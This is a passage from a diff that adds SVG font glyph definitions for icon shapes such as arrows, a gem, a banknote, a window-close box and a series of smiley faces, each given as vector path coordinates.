-99c4.7002 -4.7002 4.7002 -12.2998 0 -17l-99 -99c-7.59961 -7.59961 -20.5 -2.2002 -20.5 8.5v67h-116c-6.59961 0 -12 5.40039 -12 12z" /> + <glyph glyph-name="arrow-alt-circle-up" unicode="" +d="M256 -56c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248s-111 -248 -248 -248zM256 392c-110.5 0 -200 -89.5 -200 -200s89.5 -200 200 -200s200 89.5 200 200s-89.5 200 -200 200zM276 64h-40c-6.59961 0 -12 5.40039 -12 12v116h-67 +c-10.7002 0 -16 12.9004 -8.5 20.5l99 99c4.7002 4.7002 12.2998 4.7002 17 0l99 -99c7.59961 -7.59961 2.2002 -20.5 -8.5 -20.5h-67v-116c0 -6.59961 -5.40039 -12 -12 -12z" /> + <glyph glyph-name="gem" unicode="" horiz-adv-x="576" +d="M464 448c4.09961 0 7.7998 -2 10.0996 -5.40039l99.9004 -147.199c2.90039 -4.40039 2.59961 -10.1006 -0.700195 -14.2002l-276 -340.8c-4.7998 -5.90039 -13.7998 -5.90039 -18.5996 0l-276 340.8c-3.2998 4 -3.60059 9.7998 -0.700195 14.2002l100 147.199 +c2.2002 3.40039 6 5.40039 10 5.40039h352zM444.7 400h-56.7998l51.6992 -96h68.4004zM242.6 400l-51.5996 -96h194l-51.7002 96h-90.7002zM131.3 400l-63.2998 -96h68.4004l51.6992 96h-56.7998zM88.2998 256l119.7 -160l-68.2998 160h-51.4004zM191.2 256l96.7998 -243.3 +l96.7998 243.3h-193.6zM368 96l119.6 160h-51.3994z" /> + <glyph glyph-name="money-bill-alt" unicode="" horiz-adv-x="640" +d="M320 304c53.0195 0 96 -50.1396 96 -112c0 -61.8701 -43 -112 -96 -112c-53.0195 0 -96 50.1504 -96 112c0 61.8604 42.9805 112 96 112zM360 136v16c0 4.41992 -3.58008 8 -8 8h-16v88c0 4.41992 -3.58008 8 -8 8h-13.5801 +c-4.91113 0 -9.50586 -1.49316 -13.3096 -4.03027l-15.3301 -10.2197c-2.15332 -1.43262 -3.55957 -3.88379 -3.55957 -6.66113c0 -1.6377 0.493164 -3.16113 1.33887 -4.42871l8.88086 -13.3105c1.43164 -2.15234 3.88379 -3.55957 6.66113 -3.55957 +c1.6377 0 3.16016 0.494141 4.42871 1.33984l0.469727 0.310547v-55.4404h-16c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h64c4.41992 0 8 3.58008 8 8zM608 384c17.6699 0 32 -14.3301 32 -32v-320c0 -17.6699 -14.3301 -32 -32 -32h-576 +c-17.6699 0 -32 14.3301 -32 32v320c0 17.6699 14.3301 32 32 32h576zM592 112v160c-35.3496 0 -64 28.6504 -64 64h-416c0 -35.3496 -28.6504 -64 -64 -64v-160c35.3496 0 64 -28.6504 64 -64h416c0 35.3496 28.6504 64 64 64z" /> + <glyph glyph-name="window-close" unicode="" +d="M464 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h416zM464 22v340c0 3.2998 -2.7002 6 -6 6h-404c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h404c3.2998 0 6 2.7002 6 6z +M356.5 253.4l-61.4004 -61.4004l61.4004 -61.4004c4.59961 -4.59961 4.59961 -12.0996 0 -16.7998l-22.2998 -22.2998c-4.60059 -4.59961 -12.1006 -4.59961 -16.7998 0l-61.4004 61.4004l-61.4004 -61.4004c-4.59961 -4.59961 -12.0996 -4.59961 -16.7998 0 +l-22.2998 22.2998c-4.59961 4.60059 -4.59961 12.1006 0 16.7998l61.4004 61.4004l-61.4004 61.4004c-4.59961 4.59961 -4.59961 12.0996 0 16.7998l22.2998 22.2998c4.60059 4.59961 12.1006 4.59961 16.7998 0l61.4004 -61.4004l61.4004 61.4004 +c4.59961 4.59961 12.0996 4.59961 16.7998 0l22.2998 -22.2998c4.7002 -4.60059 4.7002 -12.1006 0 -16.7998z" /> + <glyph glyph-name="comment-dots" unicode="" +d="M144 240c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM256 240c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM368 240c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32 +s-32 14.2998 -32 32s14.2998 32 32 32zM256 416c141.4 0 256 -93.0996 256 -208s-114.6 -208 -256 -208c-32.7998 0 -64 5.2002 -92.9004 14.2998c-29.0996 -20.5996 -77.5996 -46.2998 -139.1 -46.2998c-9.59961 0 -18.2998 5.7002 -22.0996 14.5 +c-3.80078 8.7998 -2 19 4.59961 26c0.5 0.400391 31.5 33.7998 46.4004 73.2002c-33 35.0996 -52.9004 78.7002 -52.9004 126.3c0 114.9 114.6 208 256 208zM256 48c114.7 0 208 71.7998 208 160s-93.2998 160 -208 160s-208 -71.7998 -208 -160 +c0 -42.2002 21.7002 -74.0996 39.7998 -93.4004l20.6006 -21.7998l-10.6006 -28.0996c-5.5 -14.5 -12.5996 -28.1006 -19.8994 -40.2002c23.5996 7.59961 43.1992 18.9004 57.5 29l19.5 13.7998l22.6992 -7.2002c25.3008 -8 51.7002 -12.0996 78.4004 -12.0996z" /> + <glyph glyph-name="smile-wink" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM365.8 138.4c10.2002 -8.5 11.6006 -23.6006 3.10059 -33.8008 +c-30 -36 -74.1006 -56.5996 -120.9 -56.5996s-90.9004 20.5996 -120.9 56.5996c-8.39941 10.2002 -7.09961 25.3008 3.10059 33.8008c10.0996 8.39941 25.2998 7.09961 33.7998 -3.10059c20.7998 -25.0996 51.5 -39.3994 84 -39.3994s63.2002 14.3994 84 39.3994 +c8.5 10.2002 23.5996 11.6006 33.7998 3.10059zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 268c25.7002 0 55.9004 -16.9004 59.7002 -42.0996c1.7998 -11.1006 -11.2998 -18.2002 -19.7998 -10.8008l-9.5 8.5 +c-14.8008 13.2002 -46.2002 13.2002 -61 0l-9.5 -8.5c-8.30078 -7.39941 -21.5 -0.399414 -19.8008 10.8008c4 25.1992 34.2002 42.0996 59.9004 42.0996z" /> + <glyph glyph-name="angry" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM248 136c33.5996 0 65.2002 -14.7998 86.7998 -40.5996 +c8.40039 -10.2002 7.10059 -25.3008 -3.09961 -33.8008c-10.6006 -8.89941 -25.7002 -6.69922 -33.7998 3c-24.8008 29.7002 -75 29.7002 -99.8008 0c-8.5 -10.1992 -23.5996 -11.5 -33.7998 -3s-11.5996 23.6006 -3.09961 33.8008 +c21.5996 25.7998 53.2002 40.5996 86.7998 40.5996zM200 208c0 -17.7002 -14.2998 -32.0996 -32 -32.0996s-32 14.2998 -32 32c0 6.19922 2.2002 11.6992 5.2998 16.5996l-28.2002 8.5c-12.6992 3.7998 -19.8994 17.2002 -16.0996 29.9004 +c3.7998 12.6992 17.0996 20 29.9004 16.0996l80 -24c12.6992 -3.7998 19.8994 -17.2002 16.0996 -29.9004c-3.09961 -10.3994 -12.7002 -17.0996 -23 -17.0996zM399 262.9c3.7998 -12.7002 -3.40039 -26.1006 -16.0996 -29.8008l-28.2002 -8.5 +c3.09961 -4.89941 5.2998 -10.3994 5.2998 -16.5996c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32c-10.2998 0 -19.9004 6.7002 -23 17.0996c-3.7998 12.7002 3.40039 26.1006 16.0996 29.9004l80 24c12.8008 3.7998 26.1006 -3.40039 29.9004 -16.0996z" /> + <glyph glyph-name="dizzy" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM214.2 209.9 +c-7.90039 -7.90039 -20.5 -7.90039 -28.4004 -0.200195l-17.7998 17.7998l-17.7998 -17.7998c-7.7998 -7.7998 -20.5 -7.7998 -28.2998 0c-7.80078 7.7998 -7.80078 20.5 0 28.2998l17.8994 17.9004l-17.8994 17.8994c-7.80078 7.7998 -7.80078 20.5 0 28.2998 +c7.7998 7.80078 20.5 7.80078 28.2998 0l17.7998 -17.7998l17.9004 17.9004c7.7998 7.7998 20.5 7.7998 28.2998 0s7.7998 -20.5 0 -28.2998l-17.9004 -17.9004l17.9004 -17.7998c7.7998 -7.7998 7.7998 -20.5 0 -28.2998zM374.2 302.1 +c7.7002 -7.7998 7.7002 -20.3994 0 -28.1992l-17.9004 -17.9004l17.7998 -18c7.80078 -7.7998 7.80078 -20.5 0 -28.2998c-7.7998 -7.7998 -20.5 -7.7998 -28.2998 0l-17.7998 17.7998l-17.7998 -17.7998c-7.7998 -7.7998 -20.5 -7.7998 -28.2998 0 +c-7.80078 7.7998 -7.80078 20.5 0 28.2998l17.8994 17.9004l-17.8994 17.8994c-7.80078 7.7998 -7.80078 20.5 0 28.2998c7.7998 7.80078 20.5 7.80078 28.2998 0l17.7998 -17.7998l17.9004 17.7998c7.7998 7.80078 20.5 7.80078 28.2998 0zM248 176 +c35.2998 0 64 -28.7002 64 -64s-28.7002 -64 -64 -64s-64 28.7002 -64 64s28.7002 64 64 64z" /> + <glyph glyph-name="flushed" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM344 304c44.2002 0 80 -35.7998 80 -80s-35.7998 -80 -80 -80 +s-80 35.7998 -80 80s35.7998 80 80 80zM344 176c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM344 248c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM232 224c0 -44.2002 -35.7998 -80 -80 -80 +s-80 35.7998 -80 80s35.7998 80 80 80s80 -35.7998 80 -80zM152 176c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM152 248c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM312 104 +c13.2002 0 24 -10.7998 24 -24s-10.7998 -24 -24 -24h-128c-13.2002 0 -24 10.7998 -24 24s10.7998 24 24 24h128z" /> + <glyph glyph-name="frown-open" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM200 240c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32 +s14.2998 32 32 32s32 -14.2998 32 -32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM248 160c35.5996 0 88.7998 -21.2998 95.7998 -61.2002c2 -11.7998 -9.09961 -21.5996 -20.5 -18.0996 +c-31.2002 9.59961 -59.3994 15.2998 -75.2998 15.2998s-44.0996 -5.7002 -75.2998 -15.2998c-11.5 -3.40039 -22.5 6.2998 -20.5 18.0996c7 39.9004 60.2002 61.2002 95.7998 61.2002z" /> + <glyph glyph-name="grimace" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32 +s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM344 192c26.5 0 48 -21.5 48 -48v-32c0 -26.5 -21.5 -48 -48 -48h-192c-26.5 0 -48 21.5 -48 48v32c0 26.5 21.5 48 48 48 +h192zM176 96v24h-40v-8c0 -8.7998 7.2002 -16 16 -16h24zM176 136v24h-24c-8.7998 0 -16 -7.2002 -16 -16v-8h40zM240 96v24h-48v-24h48zM240 136v24h-48v-24h48zM304 96v24h-48v-24h48zM304 136v24h-48v-24h48zM360 112v8h-40v-24h24c8.7998 0 16 7.2002 16 16zM360 136v8 +c0 8.7998 -7.2002 16 -16 16h-24v-24h40z" /> + <glyph glyph-name="grin" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008 +c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.9004 -123.3 80c-1.7002 9.90039 7.7998 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006s79.7002 4.7998 105.6 13.1006zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32 +s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32z" /> + <glyph glyph-name="grin-alt" unicode="" horiz-adv-x="496" +d="M200.3 200c-7.5 -11.4004 -24.5996 -12 -32.7002 0c-12.3994 18.7002 -15.1992 37.2998 -15.6992 56c0.599609 18.7002 3.2998 37.2998 15.6992 56c7.60059 11.4004 24.7002 12 32.7002 0c12.4004 -18.7002 15.2002 -37.2998 15.7002 -56 +c-0.599609 -18.7002 -3.2998 -37.2998 -15.7002 -56zM328.3 200c-7.5 -11.4004 -24.5996 -12 -32.7002 0c-12.3994 18.7002 -15.1992 37.2998 -15.6992 56c0.599609 18.7002 3.2998 37.2998 15.6992 56c7.60059 11.4004 24.7002 12 32.7002 0 +c12.4004 -18.7002 15.2002 -37.2998 15.7002 -56c-0.599609 -18.7002 -3.2998 -37.2998 -15.7002 -56zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200 +s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.8008 -123.3 80c-1.7002 10 7.7998 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006 +s79.7002 4.7998 105.6 13.1006z" /> + <glyph glyph-name="grin-beam" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008 +c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.9004 -123.3 80c-1.7002 10 7.89941 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006s79.7002 4.7998 105.6 13.1006zM117.7 216.3c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998 +c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996 +l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002zM277.7 216.3c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998 +c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002z" /> + <glyph glyph-name="grin-beam-sweat" unicode="" horiz-adv-x="496" +d="M440 288c-29.5 0 -53.2998 26.2998 -53.2998 58.7002c0 25 31.7002 75.5 46.2002 97.2998c3.5 5.2998 10.5996 5.2998 14.1992 0c14.5 -21.7998 46.2002 -72.2998 46.2002 -97.2998c0 -32.4004 -23.7998 -58.7002 -53.2998 -58.7002zM248 48 +c-51.9004 0 -115.3 32.9004 -123.3 80c-1.7002 10 7.89941 18.4004 17.7002 15.2998c26 -8.2998 64.3994 -13.0996 105.6 -13.0996s79.7002 4.7998 105.6 13.0996c10 3.2002 19.4004 -5.39941 17.7002 -15.2998c-8 -47.0996 -71.3994 -80 -123.3 -80zM378.3 216.3 +c-3.09961 -0.899414 -7.2002 0.100586 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998 +c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998zM483.6 269.2c8 -24.2998 12.4004 -50.2002 12.4004 -77.2002c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248 +c45.7002 0 88.4004 -12.5996 125.2 -34.2002c-10.9004 -21.5996 -15.5 -36.2002 -17.2002 -45.7002c-31.2002 20.1006 -68.2002 31.9004 -108 31.9004c-110.3 0 -200 -89.7002 -200 -200s89.7002 -200 200 -200s200 89.7002 200 200 +c0 22.5 -3.90039 44.0996 -10.7998 64.2998c0.399414 0 21.7998 -2.7998 46.3994 12.9004zM168 258.6c-12.2998 0 -23.7998 -7.7998 -31.5 -21.5996l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998 +c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996z" /> + <glyph glyph-name="grin-hearts" unicode="" horiz-adv-x="496" +d="M353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.8008 -123.3 80c-1.7002 10 7.89941 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006s79.7002 4.7998 105.6 13.1006zM200.8 192.3 +l-70.2002 18.1006c-20.3994 5.2998 -31.8994 27 -24.1992 47.1992c6.69922 17.7002 26.6992 26.7002 44.8994 22l7.10059 -1.89941l2 7.09961c5.09961 18.1006 22.8994 30.9004 41.5 27.9004c21.3994 -3.40039 34.3994 -24.2002 28.7998 -44.5l-19.4004 -69.9004 +c-1.2998 -4.5 -6 -7.2002 -10.5 -6zM389.6 257.6c7.7002 -20.1992 -3.7998 -41.7998 -24.1992 -47.0996l-70.2002 -18.2002c-4.60059 -1.2002 -9.2998 1.5 -10.5 6l-19.4004 69.9004c-5.59961 20.2998 7.40039 41.0996 28.7998 44.5c18.7002 3 36.5 -9.7998 41.5 -27.9004 +l2 -7.09961l7.10059 1.89941c18.2002 4.7002 38.2002 -4.39941 44.8994 -22zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200 +s89.7002 -200 200 -200z" /> + <glyph glyph-name="grin-squint" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008 +c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.9004 -123.3 80c-1.7002 9.90039 7.7998 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006s79.7002 4.7998 105.6 13.1006zM118.9 184.2c-3.80078 4.39941 -3.90039 11 -0.100586 15.5l33.6006 40.2998 +l-33.6006 40.2998c-3.7002 4.5 -3.7002 11 0.100586 15.5c3.89941 4.40039 10.1992 5.5 15.2998 2.5l80 -48c3.59961 -2.2002 5.7998 -6.09961 5.7998 -10.2998s-2.2002 -8.09961 -5.7998 -10.2998l-80 -48c-5.40039 -3.2002 -11.7002 -1.7002 -15.2998 2.5zM361.8 181.7 +l-80 48c-3.59961 2.2002 -5.7998 6.09961 -5.7998 10.2998s2.2002 8.09961 5.7998 10.2998l80 48c5.10059 2.90039 11.5 1.90039 15.2998 -2.5c3.80078 -4.5 3.90039 -11 0.100586 -15.5l-33.6006 -40.2998l33.6006 -40.2998c3.7002 -4.5 3.7002 -11 -0.100586 -15.5 +c-3.59961 -4.2002 -9.89941 -5.7002 -15.2998 -2.5z" /> + <glyph glyph-name="grin-squint-tears" unicode="" +d="M117.1 63.9004c6.30078 0.899414 11.7002 -4.5 10.9004 -10.9004c-3.7002 -25.7998 -13.7002 -84 -30.5996 -100.9c-22 -21.8994 -57.9004 -21.5 -80.3008 0.900391c-22.3994 22.4004 -22.7998 58.4004 -0.899414 80.2998 +c16.8994 16.9004 75.0996 26.9004 100.899 30.6006zM75.9004 105.6c-19.6006 -3.89941 -35.1006 -8.09961 -47.3008 -12.1992c-39.2998 90.5996 -22.0996 199.899 52 274c48.5 48.3994 111.9 72.5996 175.4 72.5996c38.9004 0 77.7998 -9.2002 113.2 -27.4004 +c-4 -12.1992 -8.2002 -28 -12 -48.2998c-30.4004 17.9004 -65 27.7002 -101.2 27.7002c-53.4004 0 -103.6 -20.7998 -141.4 -58.5996c-61.5996 -61.5 -74.2998 -153.4 -38.6992 -227.801zM428.2 293.2c20.2998 3.89941 36.2002 8 48.5 12 +c47.8994 -93.2002 32.8994 -210.5 -45.2002 -288.601c-48.5 -48.3994 -111.9 -72.5996 -175.4 -72.5996c-33.6992 0 -67.2998 7 -98.6992 20.5996c4.19922 12.2002 8.2998 27.7002 12.1992 47.2002c26.6006 -12.7998 55.9004 -19.7998 86.4004 -19.7998 +c53.4004 0 103.6 20.7998 141.4 58.5996c65.6992 65.7002 75.7998 166 30.7998 242.601zM394.9 320.1c-6.30078 -0.899414 -11.7002 4.5 -10.9004 10.9004c3.7002 25.7998 13.7002 84 30.5996 100.9c22 21.8994 57.9004 21.5 80.3008 -0.900391 +c22.3994 -22.4004 22.7998 -58.4004 0.899414 -80.2998c-16.8994 -16.9004 -75.0996 -26.9004 -100.899 -30.6006zM207.9 211.8c3 -3 4.19922 -7.2998 3.19922 -11.5l-22.5996 -90.5c-1.40039 -5.39941 -6.2002 -9.09961 -11.7002 -9.09961h-0.899414 +c-5.80078 0.5 -10.5 5.09961 -11 10.8994l-4.80078 52.3008l-52.2998 4.7998c-5.7998 0.5 -10.3994 5.2002 -10.8994 11c-0.400391 5.89941 3.39941 11.2002 9.09961 12.5996l90.5 22.7002c4.2002 1 8.40039 -0.200195 11.4004 -3.2002zM247.6 236.9 +c-0.0996094 0 -6.39941 -1.80078 -11.3994 3.19922c-3 3 -4.2002 7.30078 -3.2002 11.4004l22.5996 90.5c1.40039 5.7002 7 9.2002 12.6006 9.09961c5.7998 -0.5 10.5 -5.09961 11 -10.8994l4.7998 -52.2998l52.2998 -4.80078c5.7998 -0.5 10.4004 -5.19922 10.9004 -11 +c0.399414 -5.89941 -3.40039 -11.1992 -9.10059 -12.5996zM299.6 148.4c29.1006 29.0996 53 59.5996 65.3008 83.7998c4.89941 9.2998 17.5996 9.89941 23.3994 1.7002c27.7002 -38.9004 6.10059 -106.9 -30.5996 -143.7s-104.8 -58.2998 -143.7 -30.6006 +c-8.2998 5.90039 -7.5 18.6006 1.7002 23.4004c24.2002 12.5 54.7998 36.2998 83.8994 65.4004z" /> + <glyph glyph-name="grin-stars" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008 +c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.8008 -123.3 80c-1.7002 10 7.89941 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006s79.7002 4.7998 105.6 13.1006zM125.7 200.9l6.09961 34.8994l-25.3994 24.6006 +c-4.60059 4.59961 -1.90039 12.2998 4.2998 13.1992l34.8994 5l15.5 31.6006c2.90039 5.7998 11 5.7998 13.9004 0l15.5 -31.6006l34.9004 -5c6.19922 -1 8.7998 -8.69922 4.2998 -13.1992l-25.4004 -24.6006l6 -34.8994c1 -6.2002 -5.39941 -11 -11 -7.90039 +l-31.2998 16.2998l-31.2998 -16.2998c-5.60059 -3.09961 -12 1.7002 -11 7.90039zM385.4 273.6c6.19922 -1 8.89941 -8.59961 4.39941 -13.1992l-25.3994 -24.6006l6 -34.8994c1 -6.2002 -5.40039 -11 -11 -7.90039l-31.3008 16.2998l-31.2998 -16.2998 +c-5.59961 -3.09961 -12 1.7002 -11 7.90039l6 34.8994l-25.3994 24.6006c-4.60059 4.59961 -1.90039 12.2998 4.2998 13.1992l34.8994 5l15.5 31.6006c2.90039 5.7998 11 5.7998 13.9004 0l15.5 -31.6006z" /> + <glyph glyph-name="grin-tears" unicode="" horiz-adv-x="640" +d="M117.1 191.9c6.30078 0.899414 11.7002 -4.5 10.9004 -10.9004c-3.7002 -25.7998 -13.7002 -84 -30.5996 -100.9c-22 -21.8994 -57.9004 -21.5 -80.3008 0.900391c-22.3994 22.4004 -22.7998 58.4004 -0.899414 80.2998c16.8994 16.9004 75.0996 26.9004 100.899 30.6006 +zM623.8 161.3c21.9004 -21.8994 21.5 -57.8994 -0.799805 -80.2002c-22.4004 -22.3994 -58.4004 -22.7998 -80.2998 -0.899414c-16.9004 16.8994 -26.9004 75.0996 -30.6006 100.899c-0.899414 6.30078 4.5 11.7002 10.8008 10.8008 +c25.7998 -3.7002 84 -13.7002 100.899 -30.6006zM497.2 99.5996c12.3994 -37.2998 25.0996 -43.7998 28.2998 -46.5c-44.5996 -65.7998 -120 -109.1 -205.5 -109.1s-160.9 43.2998 -205.5 109.1c3.09961 2.60059 15.7998 9.10059 28.2998 46.5 +c33.4004 -63.8994 100.3 -107.6 177.2 -107.6s143.8 43.7002 177.2 107.6zM122.7 223.5c-2.40039 0.299805 -5 2.5 -49.5 -6.90039c12.3994 125.4 118.1 223.4 246.8 223.4s234.4 -98 246.8 -223.5c-44.2998 9.40039 -47.3994 7.2002 -49.5 7 +c-15.2002 95.2998 -97.7998 168.5 -197.3 168.5s-182.1 -73.2002 -197.3 -168.5zM320 48c-51.9004 0 -115.3 32.9004 -123.3 80c-1.7002 10 7.89941 18.4004 17.7002 15.2998c26 -8.2998 64.3994 -13.0996 105.6 -13.0996s79.7002 4.7998 105.6 13.0996 +c10 3.2002 19.4004 -5.39941 17.7002 -15.2998c-8 -47.0996 -71.3994 -80 -123.3 -80zM450.3 216.3c-3.09961 -0.899414 -7.2002 0.100586 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996l-9.5 -17 +c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998zM240 258.6 +c-12.2998 0 -23.7998 -7.7998 -31.5 -21.5996l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004 +c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996z" /> + <glyph glyph-name="grin-tongue" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM312 40h0.0996094v43.7998l-17.6992 